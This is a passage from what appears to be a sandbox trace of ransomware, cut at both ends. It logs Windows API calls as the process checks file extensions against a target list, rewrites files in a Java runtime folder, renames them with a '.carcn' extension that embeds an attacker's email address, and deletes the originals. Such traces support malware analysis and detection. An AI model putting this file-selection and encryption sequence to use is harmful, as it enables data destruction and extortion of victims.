lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0310.641] lstrlenW (lpString=".rar") returned 4 [0310.641] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0310.641] lstrlenW (lpString=".bz2") returned 4 [0310.641] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0310.641] lstrlenW (lpString=".7z") returned 3 [0310.641] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0310.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0310.641] lstrlenW (lpString=".dbf") returned 4 [0310.641] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0310.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0310.642] lstrlenW (lpString=".1cd") returned 4 [0310.642] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0310.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0310.642] lstrlenW (lpString=".jpg") returned 4 [0310.642] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0310.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0310.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0310.642] lstrlenW (lpString=".doc") returned 4 [0310.642] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0310.642] lstrlenW (lpString=".docx") returned 5 [0310.642] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0310.642] lstrlenW (lpString=".pdf") returned 4 [0310.642] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0310.642] lstrlenW (lpString=".xls") returned 4 [0310.642] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0310.642] lstrlenW (lpString=".xlsx") returned 5 [0310.642] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0310.642] lstrlenW (lpString=".ppt") returned 4 [0310.642] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0310.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0310.642] lstrlenW (lpString=".zip") returned 4 [0310.642] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0310.642] lstrlenW (lpString=".rar") returned 4 [0310.642] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0310.642] lstrlenW (lpString=".bz2") returned 4 [0310.643] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0310.643] lstrlenW (lpString=".7z") returned 3 [0310.643] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0310.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0310.643] lstrlenW (lpString=".dbf") returned 4 [0310.643] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0310.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0310.643] lstrlenW (lpString=".1cd") returned 4 [0310.643] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0310.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0310.643] lstrlenW (lpString=".jpg") returned 4 [0310.643] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0310.643] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0310.643] lstrlenW (lpString="jfxswt.jar") returned 10 [0310.643] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0310.644] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=33932) returned 1 [0310.644] CloseHandle (hObject=0x33c) returned 1 [0310.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0310.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0310.644] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0310.644] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.644] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.644] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0310.645] GetLastError () returned 0x0 [0310.645] ReadFile (in: hFile=0x33c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x848c, lpOverlapped=0x0) returned 1 [0310.977] WriteFile (in: hFile=0x318, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x8490, lpOverlapped=0x0) returned 1 [0310.978] ReadFile (in: hFile=0x33c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.978] WriteFile (in: hFile=0x318, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe8, lpOverlapped=0x0) returned 1 [0310.978] SetEndOfFile (hFile=0x318) returned 1 [0311.474] CloseHandle (hObject=0x318) returned 1 [0311.474] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.474] SetEndOfFile (hFile=0x33c) returned 1 [0311.475] CloseHandle (hObject=0x33c) returned 1 [0311.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.475] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1 [0311.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0311.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0311.476] lstrlenW (lpString=".doc") returned 4 [0311.476] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0311.476] lstrlenW (lpString=".docx") returned 5 [0311.476] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0311.476] lstrlenW (lpString=".pdf") returned 4 [0311.476] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0311.476] lstrlenW (lpString=".xls") returned 4 [0311.476] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0311.476] lstrlenW (lpString=".xlsx") returned 5 [0311.476] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0311.476] lstrlenW (lpString=".ppt") returned 4 [0311.476] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0311.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0311.477] lstrlenW (lpString=".zip") returned 4 [0311.477] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0311.477] lstrlenW (lpString=".rar") returned 4 [0311.477] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0311.477] lstrlenW (lpString=".bz2") returned 4 [0311.477] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0311.477] lstrlenW (lpString=".7z") returned 3 [0311.477] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0311.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0311.477] lstrlenW (lpString=".dbf") returned 4 [0311.477] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0311.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0311.477] lstrlenW (lpString=".1cd") returned 4 [0311.477] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0311.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0311.477] lstrlenW (lpString=".jpg") returned 4 [0311.477] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0311.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0311.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0311.477] lstrlenW (lpString=".doc") returned 4 [0311.477] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0311.477] lstrlenW (lpString=".docx") returned 5 [0311.477] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0311.477] lstrlenW (lpString=".pdf") returned 4 [0311.477] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0311.477] lstrlenW (lpString=".xls") returned 4 [0311.477] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0311.477] lstrlenW (lpString=".xlsx") returned 5 [0311.477] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0311.477] lstrlenW (lpString=".ppt") returned 4 [0311.477] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0311.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0311.477] lstrlenW (lpString=".zip") returned 4 [0311.478] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0311.478] lstrlenW (lpString=".rar") returned 4 [0311.478] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0311.478] lstrlenW (lpString=".bz2") returned 4 [0311.478] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0311.478] lstrlenW (lpString=".7z") returned 3 [0311.478] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0311.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0311.478] lstrlenW (lpString=".dbf") returned 4 [0311.478] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0311.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0311.478] lstrlenW (lpString=".1cd") returned 4 [0311.478] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0311.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0311.478] lstrlenW (lpString=".jpg") returned 4 [0311.478] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0311.478] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0311.478] lstrlenW (lpString="rt.jar") returned 6 [0311.478] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0311.478] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=54560347) returned 1 [0311.479] CloseHandle (hObject=0x33c) returned 1 [0311.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0311.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0311.479] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0311.480] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0311.480] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fc64 | out: lpNewFilePointer=0x0) returned 1 [0311.480] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fc24 | out: lpNewFilePointer=0x0) returned 1 [0311.480] ReadFile (in: hFile=0x33c, lpBuffer=0x4179058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x377fc30, lpOverlapped=0x0 | out: lpBuffer=0x4179058*, lpNumberOfBytesRead=0x377fc30*=0x40000, lpOverlapped=0x0) returned 1 [0311.509] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x115821e, lpNewFilePointer=0x0, dwMoveMethod=0x377fc24 | out: lpNewFilePointer=0x0) returned 1 [0311.509] ReadFile (in: hFile=0x33c, lpBuffer=0x41b9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x377fc30, lpOverlapped=0x0 | out: lpBuffer=0x41b9058*, lpNumberOfBytesRead=0x377fc30*=0x40000, lpOverlapped=0x0) returned 1 [0311.534] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x377fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0311.534] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x33c865b, lpNewFilePointer=0x0, dwMoveMethod=0x377fc24 | out: lpNewFilePointer=0x0) returned 1 [0311.534] ReadFile (in: hFile=0x33c, lpBuffer=0x41f9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x377fc30, lpOverlapped=0x0 | out: lpBuffer=0x41f9058*, lpNumberOfBytesRead=0x377fc30*=0x40000, lpOverlapped=0x0) returned 1 [0311.624] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.624] WriteFile (in: hFile=0x33c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xc00f8, lpNumberOfBytesWritten=0x377fca8, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fca8*=0xc00f8, lpOverlapped=0x0) returned 1 [0311.636] SetEndOfFile (hFile=0x33c) returned 1 [0311.636] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x44448a8 [0311.641] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fc74 | out: lpNewFilePointer=0x0) returned 1 [0311.641] WriteFile (in: hFile=0x33c, lpBuffer=0x44448a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x377fc80, lpOverlapped=0x0 | out: lpBuffer=0x44448a8*, lpNumberOfBytesWritten=0x377fc80*=0x40000, lpOverlapped=0x0) returned 1 [0311.642] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x115821e, lpNewFilePointer=0x0, dwMoveMethod=0x377fc74 | out: lpNewFilePointer=0x0) returned 1 [0311.642] WriteFile (in: hFile=0x33c, lpBuffer=0x44448a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x377fc80, lpOverlapped=0x0 | out: lpBuffer=0x44448a8*, lpNumberOfBytesWritten=0x377fc80*=0x40000, lpOverlapped=0x0) returned 1 [0311.642] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x33c865b, lpNewFilePointer=0x0, dwMoveMethod=0x377fc74 | out: lpNewFilePointer=0x0) returned 1 [0311.643] WriteFile (in: hFile=0x33c, lpBuffer=0x44448a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x377fc80, lpOverlapped=0x0 | out: lpBuffer=0x44448a8*, lpNumberOfBytesWritten=0x377fc80*=0x40000, lpOverlapped=0x0) returned 1 [0311.644] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0312.142] CloseHandle (hObject=0x33c) returned 1 [0312.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0312.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0312.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0312.150] lstrlenW (lpString=".doc") returned 4 [0312.150] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0312.150] lstrlenW (lpString=".docx") returned 5 [0312.150] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0312.150] lstrlenW (lpString=".pdf") returned 4 [0312.150] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0312.150] lstrlenW (lpString=".xls") returned 4 [0312.150] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0312.150] lstrlenW (lpString=".xlsx") returned 5 [0312.150] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0312.150] lstrlenW (lpString=".ppt") returned 4 [0312.150] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0312.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0312.150] lstrlenW (lpString=".zip") returned 4 [0312.150] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0312.150] lstrlenW (lpString=".rar") returned 4 [0312.150] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0312.150] lstrlenW (lpString=".bz2") returned 4 [0312.150] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0312.150] lstrlenW (lpString=".7z") returned 3 [0312.150] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0312.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0312.150] lstrlenW (lpString=".dbf") returned 4 [0312.151] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0312.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0312.151] lstrlenW (lpString=".1cd") returned 4 [0312.151] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0312.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0312.151] lstrlenW (lpString=".jpg") returned 4 [0312.151] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0312.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0312.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0312.151] lstrlenW (lpString=".doc") returned 4 [0312.151] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0312.151] lstrlenW (lpString=".docx") returned 5 [0312.151] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0312.151] lstrlenW (lpString=".pdf") returned 4 [0312.151] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0312.151] lstrlenW (lpString=".xls") returned 4 [0312.151] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0312.151] lstrlenW (lpString=".xlsx") returned 5 [0312.151] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0312.151] lstrlenW (lpString=".ppt") returned 4 [0312.151] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0312.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0312.151] lstrlenW (lpString=".zip") returned 4 [0312.151] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0312.151] lstrlenW (lpString=".rar") returned 4 [0312.151] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0312.152] lstrlenW (lpString=".bz2") returned 4 [0312.152] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0312.152] lstrlenW (lpString=".7z") returned 3 [0312.152] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0312.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0312.152] lstrlenW (lpString=".dbf") returned 4 [0312.152] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0312.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0312.152] lstrlenW (lpString=".1cd") returned 4 [0312.152] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0312.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0312.152] lstrlenW (lpString=".jpg") returned 4 [0312.152] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0312.152] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".carcn") returned -1 [0312.152] lstrlenW (lpString="tzmappings") returned 10 [0312.152] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0312.153] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=8400) returned 1 [0312.153] CloseHandle (hObject=0x340) returned 1 [0312.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0312.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0312.153] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0312.154] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.154] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.154] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0312.157] GetLastError () returned 0x0 [0312.157] ReadFile (in: hFile=0x340, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x20d0, lpOverlapped=0x0) returned 1 [0312.158] WriteFile (in: hFile=0x33c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x20e0, lpOverlapped=0x0) returned 1 [0312.159] ReadFile (in: hFile=0x340, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.159] WriteFile (in: hFile=0x33c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe8, lpOverlapped=0x0) returned 1 [0312.160] SetEndOfFile (hFile=0x33c) returned 1 [0312.160] CloseHandle (hObject=0x33c) returned 1 [0312.160] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.160] SetEndOfFile (hFile=0x340) returned 1 [0312.161] CloseHandle (hObject=0x340) returned 1 [0312.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0312.161] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1 [0312.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0312.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0312.162] lstrlenW (lpString=".doc") returned 4 [0312.162] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0312.162] lstrlenW (lpString=".docx") returned 5 [0312.163] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0312.163] lstrlenW (lpString=".pdf") returned 4 [0312.163] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0312.163] lstrlenW (lpString=".xls") returned 4 [0312.163] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0312.163] lstrlenW (lpString=".xlsx") returned 5 [0312.163] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0312.163] lstrlenW (lpString=".ppt") returned 4 [0312.163] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0312.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0312.163] lstrlenW (lpString=".zip") returned 4 [0312.163] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0312.163] lstrlenW (lpString=".rar") returned 4 [0312.163] lstrcmpiW (lpString1=".rar", lpString2="ings") returned 